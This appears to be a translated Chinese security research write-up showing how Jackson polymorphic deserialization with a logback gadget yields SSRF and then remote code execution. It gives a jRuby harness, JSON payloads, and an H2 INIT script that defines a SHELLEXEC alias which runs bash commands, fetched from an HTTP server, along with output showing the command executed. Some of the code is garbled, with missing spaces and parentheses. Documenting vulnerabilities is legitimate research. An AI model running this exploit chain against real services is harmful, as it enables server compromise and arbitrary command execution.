content = ARGV[0]
puts "Mapping"mapper = ObjectMapper.newmapper.enableDefaultTypingmapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);puts "Serializing"obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the settersputs "objectified"puts "stringified: "+ mapper.writeValueAsString(obj)

脚本主要执行如下操作:

1、第2行,加载classpath子目录中JAR中包含的所有类;

2、第5-13行,配置Jackson以满足漏洞利用条件;

3、第14-17行,反序列化及序列化以JSON形式传递给jRuby的一个Jackson多态对象。

0x03 Gadget

在此次研究中,我们决定使用Java社区中广泛使用的gadget。我们的目标库为Maven中排名前100位的所有库,以便演示攻击影响。

如果大家想复现攻击过程,可以下载如下程序库,将这些库存放在classpath目录中:

jackson-databind-2.9.8
jackson-annotations-2.9.8
jackson-core-2.9.8
logback-core-1.3.0-alpha4
h2-1.4.199

需要注意的是,SSRF攻击中并不需要使用h2库,因为根据我们的经验,大多数情况下Java应用至少会加载一个JDBC驱动。JDBC驱动也是一种类,当传入JDBC url时会被自动实例化,完整URL会以参数形式传入处理。

我们可以使用如下命令来调用之前开发好的脚本:

$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:"}]"

在脚本第15行,Jackson会使用子对象中的键值递归调用所有set方法。更具体一些,Jackson反射库会调用setUrl(String url),传入所需参数。此后(第17行),整个对象会被再次序列化为一个JSON对象。如果没有定义任何get方法,或者通过显示get方法,此时所有的字段都会被直接序列化。对我们来说比较有趣的是getConnection。作为攻击者,实际上我们感兴趣的是所有的“non pure”(“非纯”)方法,通过控制参数,这些方法会存在一些有趣的“副作用”。

当调用getConnection时,代码会实例化一个内存数据库。由于目标应用生存周期较短,从攻击者视角来看,我们看不到任何影响。为了完成更有意义的任务,我们创建了到远程数据库的一个连接。如果目标应用以远程服务方式进行部署,那么攻击者可以达到SSRF(Server Side Request Forgery)效果,典型攻击场景如下图所示:

jackson timestamp反序列化 jackson反序列化漏洞修复_H2

0x04 从SSRF到RCE

大家可能已经注意到,这些攻击场景都与DoS以及SSRF有关。在这种情况下,虽然攻击者可能影响应用的安全性,但我们还是想与大家分享如何通过一种简单有效的方法,将SSRF转换成完成的RCE攻击链。

为了在应用上下文中获得完整的代码执行权限,我们在环境中部署了加载H2 JDBC驱动的功能。H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。我们可以滥用这一点来执行任意代码。

我们可以通过python构建一个简单的HTTP服务器(比如python -m SimpleHttpServer),托管如下inject.sqlINIT文件:

CREATE ALIAS SHELLEXEC AS $$ Stringshellexec(Stringcmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = newjava.util.Scanner(Runtime.getRuntime.exec(command).getInputStream).useDelimiter("A");returns.hasNext ? s.next : ""; }$$;CALL SHELLEXEC('id > exploited.txt')
然后通过如下方式运行测试应用:
$ jruby test.rb "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUN FROM 'http://localhost:8000/inject.sql'"}]"...$ cat exploited.txtuid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

这样就能实现RCE效果。